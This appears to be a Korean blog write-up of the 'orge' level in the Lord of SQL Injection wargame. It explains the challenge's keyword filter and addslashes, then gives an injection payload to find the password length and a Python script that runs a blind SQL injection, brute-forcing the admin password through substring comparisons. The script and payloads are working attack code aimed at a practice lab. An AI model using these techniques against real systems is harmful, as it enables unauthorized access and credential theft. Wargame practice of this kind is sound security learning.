• preg_match($pattern, $subject, [, $matches]) : 해당 문자열에서 전달받은 정규 표현식과 일치하는 패턴을 검색하는 함수 (여기서 필터링하는 문자 : 'prob', '_', '.', '()', 'or', 'and')
  • addslashes() : 매개변수로 넘겨준 문자열 안에 single quote(') 혹은 double quote("), 백슬래쉬(\), NULL 바이트가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가해 주는 함수

1. pw 길이 구하기

?pw=' || length(pw)=8%23

위처럼 입력해주었더니 Hello admin이 출력되었다.

따라서 pw의 길이가 8이라는 것을 알 수 있다.

 

2. pw 구하기

import requests

URL="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
params = {'pw':''}
cookie={"PHPSESSID":"lu9ovphnbrl7ub6umdqv27vpbd"}
pw_length=8

password = ''
for i in range(pw_length):
    for j in range(32, 127):
        params['pw'] = "'||id='admin'&&substring(pw,{},1)='{}'-- ".format(i+1, chr(j))
        res = requests.get(URL, params=params, cookies=cookie)
        if "Hello admin" in res.text:
            password += chr(j)
            break

print(password)

따라서 url에 ?pw=7b751aec를 입력해주었고 다음과 같이 공격에 성공할 수 있었다.

 

참고 자료 : yenua.tistory.com

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] Skeleton  (0) 2022.09.18
[Lord of SQL Injection] vampire  (0) 2022.09.09
[Lord of SQL Injection] darkelf  (0) 2022.05.28
[Lord of SQL Injection] wolfman  (0) 2022.05.21
[Lord of SQL Injection] orc  (0) 2022.05.14

+ Recent posts